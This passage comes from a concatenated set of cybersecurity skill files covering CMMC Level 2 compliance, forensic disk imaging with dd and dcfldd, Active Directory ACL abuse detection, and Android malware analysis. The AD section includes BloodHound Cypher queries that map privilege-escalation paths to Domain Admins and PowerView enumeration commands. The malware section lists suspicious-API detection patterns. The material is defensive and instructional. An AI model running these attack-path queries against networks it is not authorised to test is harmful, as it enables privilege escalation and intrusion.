Final**.\n\n## Scoping categories (CMMC Level 2 Scoping Guide)\n| Category | Treatment |\n|---|---|\n| CUI Assets | Process/store/transmit CUI — assessed against applicable requirements. |\n| Security Protection Assets | Provide security to the CUI environment — in scope. |\n| Contractor Risk Managed Assets | Capable of handling CUI but not intended to — managed by policy/config. |\n| Specialized Assets | IoT/OT, GFE, test equipment — documented, limited assessment. |\n| Out-of-Scope Assets | Isolated from CUI — not assessed. |\n\n## External Service Providers / cloud\n- Cloud services that store/process/transmit CUI must be **FedRAMP Moderate authorized or meet FedRAMP Moderate equivalency**.\n- Document the customer/provider responsibility split (CRM) and inherited controls in the SSP.\n\n## NIST CSF 2.0 alignment\n| CSF 2.0 ID | Relevance |\n|---|---|\n| GV.OC-03 | Legal/regulatory (DFARS/CMMC) requirements understood. |\n| GV.SC-01 | Supply-chain risk management — flowdown to subs / ESPs. |\n| ID.AM-08 | Assets managed across the lifecycle (scoping). |\n| ID.RA-05 | Risk informs prioritization of unmet requirements. |\n| PR.AA-01 | Identity and access (3.1 / 3.5 families). |\n| PR.DS-01 | Data-at-rest protection (FIPS crypto, media protection). |\n\n<!-- File: skills/achieving-cmmc-level-2-compliance/SKILL.md (Tokens: ~2317 | Category: anthropic-skill) -->\n---\nname: achieving-cmmc-level-2-compliance\ndescription: >-\n  Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI\n  and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14\n  families, compute the SPRS score with the DoD Assessment Methodology, manage a\n  compliant POA&M, and ready the organization for a C3PAO assessment. Use when an\n  organization handles Controlled Unclassified Information (CUI) under a DoD contract,\n  when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for\n  or responding to a CMMC assessment, when computing or improving an SPRS score, when\n  building a System Security Plan or POA&M for 800-171, or when scoping which systems\n  are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2,\n  CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment\n  Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.\ndomain: cybersecurity\nsubdomain: compliance-governance\ntags:\n- cmmc\n- nist-800-171\n- cui\n- sprs\n- dfars\n- c3pao\n- poam\n- compliance\n- governance\n- defense-industrial-base\nversion: \"1.0\"\nauthor: andrewibrah\nlicense: Apache-2.0\nnist_csf:\n- GV.OC-03\n- GV.SC-01\n- ID.AM-08\n- ID.RA-05\n- PR.AA-01\n- PR.DS-01\nmitre_attack:\n- T1078\n- T1190\n- T1041\n- T1048\n- T1567\n---\n\n# Achieving CMMC Level 2 Compliance\n\n## When to Use\n\n- When an organization in the **Defense Industrial Base (DIB)** stores, processes, or transmits **Controlled Unclassified Information (CUI)** under a DoD contract.\n- When a contract includes **DFARS 252.204-7012** (safeguarding/incident reporting), **-7019/-7020** (NIST 800-171 self-assessment + SPRS), or the new **-7021** (CMMC requirement).\n- When preparing for a **C3PAO** third-party assessment or a DoD-led assessment.\n- When you must **compute, post, or improve an SPRS score** based on the NIST SP 800-171 DoD Assessment Methodology.\n- When authoring or remediating a **System Security Plan (SSP)** and **POA&M** for the 110 requirements.\n- When **scoping** which assets fall inside the CUI/FCI boundary (CUI assets, security-protection assets, contractor risk-managed assets, out-of-scope).\n\n## Prerequisites\n\n- Knowledge of **which contracts carry CUI** and the CUI categories involved (check the contract and the DoD CUI Registry).\n- An asset inventory and network diagram so you can define the **CMMC assessment scope** before assessing controls.\n- The **NIST SP 800-171 Rev 2** requirements and the **DoD Assessment Methodology** scoring weights.\n- A documented **SSP** (its absence is itself a failed requirement — 3.12.4).\n- Identification of any **External Service Providers (ESPs)** / cloud services touching CUI, and whether they meet **FedRAMP Moderate (or equivalency)**.\n\n## Workflow\n\n### 1. Determine applicability and CUI categories\nConfirm the contract requires CMMC Level 2 (CUI present, not just FCI). FCI-only contracts are **Level 1** (the 15 FAR 52.204-21 requirements). Identify CUI categories from the contract and the DoD CUI Registry.\n\n### 2. Scope the environment\nClassify every asset into one of the CMMC scoping categories:\n- **CUI Assets** — process/store/transmit CUI (in scope, assessed against all applicable controls).\n- **Security Protection Assets** — provide security to the CUI environment (in scope).\n- **Contractor Risk Managed Assets** — could but are not intended to handle CUI; managed by policy.\n- **Specialized Assets** (IoT/OT, GFE, test equipment) — documented, limited assessment.\n- **Out-of-Scope** — physically/logically isolated from CUI.\n\nMinimize scope deliberately — a smaller, well-segmented CUI enclave is far cheaper to certify than a flat network.\n\n### 3. Implement the 110 requirements (NIST SP 800-171 Rev 2)\nWork the **14 families** (3.1–3.14). For each requirement, implement, then write the **how** in the SSP. High-leverage early wins: MFA (3.5.3), FIPS-validated cryptography (3.13.11), audit logging (3.3.x), access control + least privilege (3.1.x), and incident response (3.6.x).\n\n### 4. Score with the DoD Assessment Methodology (SPRS)\nStart at **110** and subtract the weighted value (**1, 3, or 5 points**) of each **unmet** requirement; partial credit applies to a small number of controls (e.g., MFA, FIPS crypto). The result is the **SPRS score** (maximum 110; the methodology floor is −203). Post the score, the SSP date, and the assessment scope to **SPRS** (or eMASS for higher assessments).\n\n### 5. Build a compliant POA&M\nDocument every unmet requirement with owner, remediation, and milestone. **Constraints under the CMMC rule:** a **Conditional** status requires a score of at least **80%** (≥ 88 of 110), only **POA&M-eligible** requirements may be deferred (the highest-weighted security requirements must be fully met — verify eligibility against 32 CFR Part 170), and all POA&M items must be **closed within 180 days** to convert Conditional → **Final**.\n\n### 6. Assess (self or C3PAO)\n- **Level 1** and a subset of Level 2 = annual **self-assessment** with an affirmation in SPRS.\n- **Level 2 (most CUI contracts)** = triennial **C3PAO** certification assessment.\n- **Level 3** = DoD (DIBCAC) assessment on top of Level 2, adding SP 800-172 enhanced requirements.\nAssessors evaluate each objective as **MET / NOT MET / N/A** with evidence (examine/interview/test). A senior official files the **annual affirmation** of continued compliance.\n\n### 7. Maintain certification\nCertification is valid **three years** with **annual affirmations**. Maintain the SSP, re-score on change, keep evidence current, and feed significant changes back into the assessment.\n\n## Key Concepts\n\n| Concept | Definition |\n|---|---|\n| FCI | Federal Contract Information — Level 1 protects it (FAR 52.204-21). |\n| CUI | Controlled Unclassified Information — Level 2 protects it (NIST 800-171). |\n| 110 requirements | The SP 800-171 Rev 2 security requirements across 14 families. |\n| SPRS | Supplier Performance Risk System — where the 800-171 score is posted. |\n| DoD Assessment Methodology | The 1/3/5-point weighting used to compute the score from 110. |\n| C3PAO | CMMC Third-Party Assessment Organization — performs Level 2 certification. |\n| POA&M | Plan of Action & Milestones — limited, must close in 180 days for Final status. |\n| Conditional vs Final | Conditional = open POA&M (score ≥ 80%); Final = all controls met. |\n| ESP | External Service Provider — must meet FedRAMP Moderate / equivalency for CUI. |\n| Scoping categories | CUI / Security Protection / Contractor Risk Managed / Specialized / Out-of-Scope. |\n\n## Tools & Systems\n\n- **NIST SP 800-171 Rev 2** — the 110 requirements (and 800-171A for assessment objectives).\n- **DoD NIST SP 800-171 Assessment Methodology** — the scoring weights.\n- **32 CFR Part 170** (CMMC Program rule) and **48 CFR / DFARS 252.204-7021** (acquisition rule).\n- **SPRS** — score posting; **SAM.gov** for registration.\n- **SP 800-172 / 800-172A** — enhanced requirements for Level 3.\n- **GRC / compliance tooling** — to manage the SSP, POA&M, and evidence (e.g., Xacta, RegScale, FutureFeed-style trackers).\n\n## Common Scenarios\n\n- **Prime flows CUI to a sub.** The sub needs its own Level 2 scope, SSP, SPRS score, and (most likely) C3PAO certification.\n- **Score is below 88.** Prioritize the highest-weighted unmet requirements (5-point, then 3-point) to clear the conditional threshold and shrink the POA&M.\n- **Cloud holds CUI.** Confirm the service is FedRAMP Moderate authorized or meets equivalency; document the responsibility split.\n- **Flat network.** Re-scope into a segmented CUI enclave to cut the assessment surface before spending on controls.\n- **Annual affirmation due.** A senior official affirms continued compliance in SPRS; let it lapse and you risk contract eligibility.\n\n## Output Format\n\nProduce a **CMMC Level 2 Readiness Report** using `assets/template.md`, containing:\n\n1. **Applicability & CUI categories** — why Level 2 applies.\n2. **Scope** — assets by scoping category and the CUI boundary diagram reference.\n3. **Control status by family** — met / not met / N/A across the 14 families.\n4. **SPRS score** — computed score, deductions, and the gap to 110 and to the 88 threshold.\n5. **POA&M** — unmet requirements, eligibility check, owners, 180-day milestones.\n6. **Assessment path** — self vs C3PAO, target date, affirmation owner.\n7. **Remediation roadmap** — sequenced by point value and effort.\n\nUse `scripts/process.py` to compute the SPRS score from a control-status JSON, flag POA&M-eligibility concerns, and report the gap to the conditional-certification threshold.\n\n<!-- File: skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md (Tokens: ~831 | Category: anthropic-skill) -->\n# API Reference: dd and dcfldd Disk Imaging\n\n## dd - Standard Unix Disk Duplication\n\n### Basic Syntax\n```bash\ndd if=<source> of=<destination> [options]\n```\n\n### Key Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `if=` | Input file (source device) | `if=/dev/sdb` |\n| `of=` | Output file (destination image) | `of=evidence.dd` |\n| `bs=` | Block size for read/write | `bs=4096` (forensic standard) |\n| `count=` | Number of blocks to copy | `count=1024` |\n| `skip=` | Skip N blocks from input start | `skip=2048` |\n| `conv=` | Conversion options | `conv=noerror,sync` |\n| `status=` | Transfer statistics level | `status=progress` |\n\n### conv= Values\n- `noerror` - Continue on read errors (do not abort)\n- `sync` - Pad input blocks with zeros on error (preserves offset alignment)\n- `notrunc` - Do not truncate output file\n\n### Output Format\n```\n500107862016 bytes (500 GB, 466 GiB) copied, 8132.45 s, 61.5 MB/s\n976773168+0 records in\n976773168+0 records out\n```\n\n## dcfldd - DoD Forensic dd\n\n### Basic Syntax\n```bash\ndcfldd if=<source> of=<destination> [options]\n```\n\n### Extended Options\n| Flag | Description | Example |\n|------|-------------|---------|\n| `hash=` | Hash algorithm(s) | `hash=sha256,md5` |\n| `hashlog=` | File for hash output | `hashlog=hashes.txt` |\n| `hashwindow=` | Hash every N bytes | `hashwindow=1G` |\n| `hashconv=` | Hash before or after conversion | `hashconv=after` |\n| `errlog=` | Error log file | `errlog=errors.log` |\n| `split=` | Split output into chunks | `split=2G` |\n| `splitformat=` | Suffix format for split files | `splitformat=aa` |\n| `vf=` | Verification file | `vf=evidence.dd` |\n| `verifylog=` | Verification result log | `verifylog=verify.log` |\n\n### Output Format\n```\nTotal (sha256): a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5...\n1024+0 records in\n1024+0 records out\n```\n\n## sha256sum - Hash Verification\n\n### Syntax\n```bash\nsha256sum <file_or_device>\nsha256sum -c <checksum_file>\n```\n\n### Output Format\n```\na3f2b8c9d4e5f6...  /dev/sdb\na3f2b8c9d4e5f6...  evidence.dd\n```\n\n## blockdev - Write Protection\n\n### Syntax\n```bash\nblockdev --setro <device>   # Set read-only\nblockdev --setrw <device>   # Set read-write\nblockdev --getro <device>   # Check: 1=RO, 0=RW\nblockdev --getsize64 <device>  # Size in bytes\n```\n\n## lsblk - Block Device Enumeration\n\n### Syntax\n```bash\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL,SERIAL,RO\nlsblk -J   # JSON output\nlsblk -p   # Full device paths\n```\n\n## hdparm - Drive Identification\n\n### Syntax\n```bash\nhdparm -I <device>   # Detailed drive info\nhdparm -i <device>   # Summary identification\n```\n\n<!-- File: skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md (Tokens: ~2499 | Category: anthropic-skill) -->\n---\nname: acquiring-disk-image-with-dd-and-dcfldd\ndescription: Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- forensics\n- disk-imaging\n- evidence-acquisition\n- dd\n- dcfldd\n- hash-verification\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1006\n- T1005\n- T1025\n- T1074.001\n---\n\n# Acquiring Disk Image with dd and dcfldd\n\n## When to Use\n- When you need to create a forensic copy of a suspect drive for investigation\n- During incident response when preserving volatile disk evidence before analysis\n- When law enforcement or legal proceedings require a verified bit-for-bit copy\n- Before performing any destructive analysis on a storage device\n- When acquiring images from physical drives, USB devices, or memory cards\n\n## Prerequisites\n- Linux-based forensic workstation (SIFT, Kali, or any Linux distro)\n- `dd` (pre-installed on all Linux systems) or `dcfldd` (enhanced forensic version)\n- Write-blocker hardware or software write-blocking configured\n- Destination drive with sufficient storage (larger than source)\n- Root/sudo privileges on the forensic workstation\n- SHA-256 or MD5 hashing utilities (`sha256sum`, `md5sum`)\n\n## Workflow\n\n### Step 1: Identify the Target Device and Enable Write Protection\n\n```bash\n# List all connected block devices to identify the target\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL\n\n# Verify the device details\nfdisk -l /dev/sdb\n\n# Enable software write-blocking (if no hardware blocker)\nblockdev --setro /dev/sdb\n\n# Verify read-only status\nblockdev --getro /dev/sdb\n# Output: 1 (means read-only is enabled)\n\n# Alternatively, use udev rules for persistent write-blocking\necho 'SUBSYSTEM==\"block\", ATTRS{serial}==\"WD-WCAV5H861234\", ATTR{ro}=\"1\"' > /etc/udev/rules.d/99-writeblock.rules\nudevadm control --reload-rules\n```\n\n### Step 2: Prepare the Destination and Document the Source\n\n```bash\n# Create case directory structure\nmkdir -p /cases/case-2024-001/{images,hashes,logs,notes}\n\n# Document source drive information\nhdparm -I /dev/sdb > /cases/case-2024-001/notes/source_drive_info.txt\n\n# Record the serial number and model\nsmartctl -i /dev/sdb >> /cases/case-2024-001/notes/source_drive_info.txt\n\n# Pre-hash the source device\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_before.txt\n```\n\n### Step 3: Acquire the Image Using dd\n\n```bash\n# Basic dd acquisition with progress and error handling\ndd if=/dev/sdb of=/cases/case-2024-001/images/evidence.dd \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   status=progress 2>&1 | tee /cases/case-2024-001/logs/dd_acquisition.log\n\n# For compressed images to save space\ndd if=/dev/sdb bs=4096 conv=noerror,sync status=progress | \\\n   gzip -c > /cases/case-2024-001/images/evidence.dd.gz\n\n# Using dd with a specific count for partial acquisition\ndd if=/dev/sdb of=/cases/case-2024-001/images/first_1gb.dd \\\n   bs=1M count=1024 status=progress\n```\n\n### Step 4: Acquire Using dcfldd (Preferred Forensic Method)\n\n```bash\n# Install dcfldd if not present\napt-get install dcfldd\n\n# Acquire image with built-in hashing and split output\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256,md5 \\\n   hashwindow=1G \\\n   hashlog=/cases/case-2024-001/hashes/acquisition_hashes.txt \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   errlog=/cases/case-2024-001/logs/dcfldd_errors.log\n\n# Split large images into manageable segments\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/split_hashes.txt \\\n   bs=4096 \\\n   split=2G \\\n   splitformat=aa\n\n# Acquire with verification pass\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/verification.txt \\\n   vf=/cases/case-2024-001/images/evidence.dd \\\n   verifylog=/cases/case-2024-001/logs/verify.log\n```\n\n### Step 5: Verify Image Integrity\n\n```bash\n# Hash the acquired image\nsha256sum /cases/case-2024-001/images/evidence.dd | \\\n   tee /cases/case-2024-001/hashes/image_hash.txt\n\n# Compare source and image hashes\ndiff <(sha256sum /dev/sdb | awk '{print $1}') \\\n     <(sha256sum /cases/case-2024-001/images/evidence.dd | awk '{print $1}')\n\n# If using split images, verify each segment\nsha256sum /cases/case-2024-001/images/evidence.dd.* | \\\n   tee /cases/case-2024-001/hashes/split_image_hashes.txt\n\n# Re-hash source to confirm no changes occurred\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_after.txt\ndiff /cases/case-2024-001/hashes/source_hash_before.txt \\\n     /cases/case-2024-001/hashes/source_hash_after.txt\n```\n\n### Step 6: Document the Acquisition Process\n\n```bash\n# Generate acquisition report\ncat << 'EOF' > /cases/case-2024-001/notes/acquisition_report.txt\nDISK IMAGE ACQUISITION REPORT\n==============================\nCase Number: 2024-001\nDate/Time: $(date -u +\"%Y-%m-%d %H:%M:%S UTC\")\nExaminer: [Name]\n\nSource Device: /dev/sdb\nModel: [from hdparm output]\nSerial: [from hdparm output]\nSize: [from fdisk output]\n\nAcquisition Tool: dcfldd v1.9.1\nBlock Size: 4096\nWrite Blocker: [Hardware/Software model]\n\nImage File: evidence.dd\nImage Hash (SHA-256): [from hash file]\nSource Hash (SHA-256): [from hash file]\nHash Match: YES/NO\n\nErrors During Acquisition: [from error log]\nEOF\n\n# Compress logs for archival\ntar -czf /cases/case-2024-001/acquisition_package.tar.gz \\\n   /cases/case-2024-001/hashes/ \\\n   /cases/case-2024-001/logs/ \\\n   /cases/case-2024-001/notes/\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Bit-for-bit copy | Exact replica of source including unallocated space and slack space |\n| Write blocker | Hardware or software mechanism preventing writes to evidence media |\n| Hash verification | Cryptographic hash comparing source and image to prove integrity |\n| Block size (bs) | Transfer chunk size affecting speed; 4096 or 64K typical for forensics |\n| conv=noerror,sync | Continue on read errors and pad with zeros to maintain offset alignment |\n| Chain of custody | Documented trail proving evidence has not been tampered with |\n| Split imaging | Breaking large images into smaller files for storage and transport |\n| Raw/dd format | Bit-for-bit image format without metadata container overhead |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| dd | Standard Unix disk duplication utility for raw imaging |\n| dcfldd | DoD Computer Forensics Laboratory enhanced version of dd with hashing |\n| dc3dd | Another forensic dd variant from the DoD Cyber Crime Center |\n| sha256sum | SHA-256 hash calculation for integrity verification |\n| blockdev | Linux command to set block device read-only mode |\n| hdparm | Drive identification and parameter reporting |\n| smartctl | S.M.A.R.T. data retrieval for drive health and identification |\n| lsblk | Block device enumeration and identification |\n\n## Common Scenarios\n\n**Scenario 1: Acquiring a Suspect Laptop Hard Drive**\nConnect the drive via a Tableau T35u hardware write-blocker, identify as `/dev/sdb`, use dcfldd with SHA-256 hashing, split into 4GB segments for DVD archival, verify hashes match, document in case notes.\n\n**Scenario 2: Imaging a USB Flash Drive from a Compromised Workstation**\nUse software write-blocking with `blockdev --setro`, acquire with dcfldd including MD5 and SHA-256 dual hashing, image is small enough for single file, verify and store on encrypted case drive.\n\n**Scenario 3: Remote Acquisition Over Network**\nUse dd piped through netcat or ssh for remote acquisition: `ssh root@remote \"dd if=/dev/sda bs=4096\" | dd of=remote_image.dd bs=4096`, hash both ends independently to verify transfer integrity.\n\n**Scenario 4: Acquiring from a Failing Drive**\nUse `ddrescue` first to recover readable sectors, then use dd with `conv=noerror,sync` to fill gaps with zeros, document which sectors were unreadable in the error log.\n\n## Output Format\n\n```\nAcquisition Summary:\n  Source:       /dev/sdb (500GB Western Digital WD5000AAKX)\n  Destination:  /cases/case-2024-001/images/evidence.dd\n  Tool:         dcfldd 1.9.1\n  Block Size:   4096 bytes\n  Duration:     2h 15m 32s\n  Bytes Copied: 500,107,862,016\n  Errors:       0 bad sectors\n  Source SHA-256:  a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Image SHA-256:   a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1\n  Verification:    PASSED - Hashes match\n```\n\n<!-- File: skills/analyzing-active-directory-acl-abuse/references/api-reference.md (Tokens: ~852 | Category: anthropic-skill) -->\n# Active Directory ACL Abuse API Reference\n\n## ldap3 Python Connection\n\n```python\nfrom ldap3 import Server, Connection, ALL, NTLM, SUBTREE\n\nserver = Server(\"192.168.1.10\", get_info=ALL, use_ssl=False)\nconn = Connection(server, user=\"DOMAIN\\\\user\", password=\"pass\",\n                  authentication=NTLM, auto_bind=True)\n\n# Search with nTSecurityDescriptor\nconn.search(\n    \"DC=corp,DC=example,DC=com\",\n    \"(objectClass=group)\",\n    search_scope=SUBTREE,\n    attributes=[\"distinguishedName\", \"sAMAccountName\",\n                \"objectClass\", \"nTSecurityDescriptor\"],\n)\n```\n\n## SDDL ACE Format\n\n```\nACE String: (ace_type;ace_flags;rights;object_guid;inherit_guid;trustee_sid)\nExample:    (A;;GA;;;S-1-5-21-xxx-512)\n```\n\n| Component | Description |\n|-----------|-------------|\n| `A` | Access Allowed |\n| `D` | Access Denied |\n| `OA` | Object Access Allowed |\n| `GA` | Generic All |\n| `GW` | Generic Write |\n| `WD` | Write DACL |\n| `WO` | Write Owner |\n\n## Dangerous Permission Bitmasks\n\n| Permission | Hex Mask | Risk |\n|-----------|----------|------|\n| GenericAll | `0x10000000` | Full control over object |\n| GenericWrite | `0x40000000` | Modify all writable attributes |\n| WriteDACL | `0x00040000` | Modify object permissions |\n| WriteOwner | `0x00080000` | Take object ownership |\n| WriteProperty | `0x00000020` | Write specific properties |\n| ExtendedRight | `0x00000100` | Extended rights (password reset, etc.) |\n| Self | `0x00000008` | Self-membership modification |\n| Delete | `0x00010000` | Delete the object |\n\n## BloodHound Cypher Queries for ACL Paths\n\n```cypher\n-- Find all users with GenericAll on Domain Admins\nMATCH p=(n:User)-[r:GenericAll]->(g:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nRETURN p\n\n-- Find WriteDACL paths from non-admins to high-value targets\nMATCH (n:User {admincount:false})\nMATCH p=allShortestPaths((n)-[r:WriteDacl|WriteOwner|GenericAll*1..]->(m:Group))\nWHERE m.highvalue = true\nRETURN p\n\n-- Find GenericWrite on computers for RBCD attacks\nMATCH p=(n:User)-[r:GenericWrite]->(c:Computer)\nWHERE NOT n.admincount\nRETURN n.name, c.name\n\n-- Enumerate all outbound ACL edges for a principal\nMATCH p=(n {name:\"HELPDESK@CORP.COM\"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(m)\nRETURN type(r), m.name, labels(m)\n\n-- Find shortest ACL abuse path to Domain Admin\nMATCH (n:User {name:\"JSMITH@CORP.COM\"})\nMATCH (da:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nMATCH p=shortestPath((n)-[r:MemberOf|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|ForceChangePassword*1..]->(da))\nRETURN p\n```\n\n## PowerView Commands for ACL Enumeration\n\n```powershell\n# Get ACL for Domain Admins group\nGet-DomainObjectAcl -Identity \"Domain Admins\" -ResolveGUIDs\n\n# Find interesting ACEs for non-admin users\nFind-InterestingDomainAcl -ResolveGUIDs | Where-Object {\n    $_.ActiveDirectoryRights -match \"GenericAll|WriteDacl|WriteOwner\"\n}\n\n# Get ACL for specific OU\nGet-DomainObjectAcl -SearchBase \"OU=Servers,DC=corp,DC=com\" -ResolveGUIDs\n```\n\n<!-- File: skills/analyzing-active-directory-acl-abuse/SKILL.md (Tokens: ~982 | Category: anthropic-skill) -->\n---\nname: analyzing-active-directory-acl-abuse\ndescription: Detect dangerous ACL misconfigurations in Active Directory using ldap3\n  to identify GenericAll, WriteDACL, and WriteOwner abuse paths\ndomain: cybersecurity\nsubdomain: identity-security\ntags:\n- active-directory\n- acl-abuse\n- ldap\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-01\n- PR.AA-05\n- PR.AA-06\nmitre_attack:\n- T1098\n- T1098.007\n- T1484.001\n- T1222.001\n- T1078.002\n---\n\n\n# Analyzing Active Directory ACL Abuse\n\n## Overview\n\nActive Directory Access Control Lists (ACLs) define permissions on AD objects through Discretionary Access Control Lists (DACLs) containing Access Control Entries (ACEs). Misconfigured ACEs can grant non-privileged users dangerous permissions such as GenericAll (full control), WriteDACL (modify permissions), WriteOwner (take ownership), and GenericWrite (modify attributes) on sensitive objects like Domain Admins groups, domain controllers, or GPOs.\n\nThis skill uses the ldap3 Python library to connect to a Domain Controller, query objects with their nTSecurityDescriptor attribute, parse the binary security descriptor into SDDL (Security Descriptor Definition Language) format, and identify ACEs that grant dangerous permissions to non-administrative principals. These misconfigurations are the basis for ACL-based attack paths discovered by tools like BloodHound.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing active directory acl abuse\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9 or later with ldap3 library (`pip install ldap3`)\n- Domain user credentials with read access to AD objects\n- Network connectivity to Domain Controller on port 389 (LDAP) or 636 (LDAPS)\n- Understanding of Active Directory security model and SDDL format\n\n## Steps\n\n1. **Connect to Domain Controller**: Establish an LDAP connection using ldap3 with NTLM or simple authentication. Use LDAPS (port 636) for encrypted connections in production.\n\n2. **Query target objects**: Search the target OU or entire domain for objects including users, groups, computers, and OUs. Request the `nTSecurityDescriptor`, `distinguishedName`, `objectClass`, and `sAMAccountName` attributes.\n\n3. **Parse security descriptors**: Convert the binary nTSecurityDescriptor into its SDDL string representation. Parse each ACE in the DACL to extract the trustee SID, access mask, and ACE type (allow/deny).\n\n4. **Resolve SIDs to principals**: Map security identifiers (SIDs) to human-readable account names using LDAP lookups against the domain. Identify well-known SIDs for built-in groups.\n\n5. **Check for dangerous permissions**: Compare each ACE's access mask against dangerous permission bitmasks: GenericAll (0x10000000), WriteDACL (0x00040000), WriteOwner (0x00080000), GenericWrite (0x40000000), and WriteProperty for specific extended rights.\n\n6. **Filter non-admin trustees**: Exclude expected administrative trustees (Domain Admins, Enterprise Admins, SYSTEM, Administrators) and flag ACEs where non-privileged users or groups hold dangerous permissions.\n\n7. **Map attack paths**: For each finding, document the potential attack chain (e.g., GenericAll on user allows password reset, WriteDACL on group allows adding self to group).\n\n8. **Generate remediation report**: Output a JSON report with all dangerous ACEs, affected objects, non-admin trustees, and recommended remediation steps.\n\n## Expected Output\n\n```json\n{\n  \"domain\": \"corp.example.com\",\n  \"objects_scanned\": 1247,\n  \"dangerous_aces_found\": 8,\n  \"findings\": [\n    {\n      \"severity\": \"critical\",\n      \"target_object\": \"CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com\",\n      \"target_type\": \"group\",\n      \"trustee\": \"CORP\\\\helpdesk-team\",\n      \"permission\": \"GenericAll\",\n      \"access_mask\": \"0x10000000\",\n      \"ace_type\": \"ACCESS_ALLOWED\",\n      \"attack_path\": \"GenericAll on Domain Admins group allows adding arbitrary members\",\n      \"remediation\": \"Remove GenericAll ACE for helpdesk-team on Domain Admins\"\n    }\n  ]\n}\n```\n\n<!-- File: skills/analyzing-android-malware-with-apktool/references/api-reference.md (Tokens: ~673 | Category: anthropic-skill) -->\n# API Reference — Analyzing Android Malware with Apktool\n\n## Libraries Used\n- **androguard**: Python APK/DEX analysis — `AnalyzeAPK()`, permission enumeration, API call scanning\n- **re**: Regex extraction of URLs, IPs, base64 patterns from DEX strings\n- **json**: JSON serialization for analysis reports\n\n## CLI Interface\n```\npython agent.py sample.apk permissions\npython agent.py sample.apk manifest\npython agent.py sample.apk apis\npython agent.py sample.apk strings\npython agent.py sample.apk full\npython agent.py sample.apk           # defaults to full analysis\n```\n\n## Core Functions\n\n### `analyze_permissions(apk)` — Permission risk assessment\nCalls `apk.get_permissions()`. Flags 20 dangerous permissions including\nSEND_SMS, READ_CONTACTS, BIND_DEVICE_ADMIN, BIND_ACCESSIBILITY_SERVICE.\nRisk: CRITICAL >= 8 dangerous, HIGH >= 5, MEDIUM >= 2, LOW < 2.\n\n### `analyze_manifest(apk)` — Manifest component extraction\nCalls `apk.get_activities()`, `get_services()`, `get_receivers()`, `get_providers()`.\nReturns package name, version, SDK levels, and all component lists.\n\n### `scan_suspicious_apis(dx)` — Suspicious API call detection\nSearches DEX analysis for 14 patterns including:\n- `Runtime.exec`, `ProcessBuilder.start` — command execution\n- `DexClassLoader.loadClass` — dynamic code loading\n- `Method.invoke`, `Class.forName` — reflection\n- `Cipher.getInstance` — cryptographic operations\n- `SmsManager.sendTextMessage` — SMS abuse\n\n### `extract_strings(dx, apk)` — IOC extraction from DEX strings\nRegex extraction of HTTP/HTTPS URLs, external IP addresses, and base64 strings.\nFilters out private IP ranges (10.x, 192.168.x, 172.16.x, 127.x).\n\n### `detect_obfuscation(apk, dx)` — Obfuscation indicator detection\nChecks for single-letter class names (ProGuard), multi-DEX, native libraries.\n\n### `full_analysis(apk_path)` — Comprehensive malware assessment\n\n## Androguard API\n| Method | Returns |\n|--------|---------|\n| `AnalyzeAPK(path)` | `(APK, list[DEX], Analysis)` tuple |\n| `apk.get_permissions()` | List of Android permissions |\n| `apk.get_activities()` | Activity component names |\n| `apk.get_services()` | Service component names |\n| `apk.get_receivers()` | BroadcastReceiver names |\n| `apk.get_package()` | Package name string |\n| `dx.find_methods(classname, methodname)` | Matching method analysis objects |\n| `dx.get_strings()` | All strings from DEX files |\n| `dx.get_classes()` | All class analysis objects |\n\n## Risk Scoring\n| Factor | Max Points |\n|--------|-----------|\n| Dangerous permissions (8 pts each) | 40 |\n| Suspicious API calls (10 pts each) | 30 |\n| External IPs (5 pts each) | 15 |\n| Obfuscation detected | 15 |\n\n## Dependencies\n- `androguard` >= 3.4.0\n- Isolated analysis environment recommended\n\n<!-- File: skills/analyzing-android-malware-with-apktool/SKILL.md (Tokens: ~550 | Category: anthropic-skill) 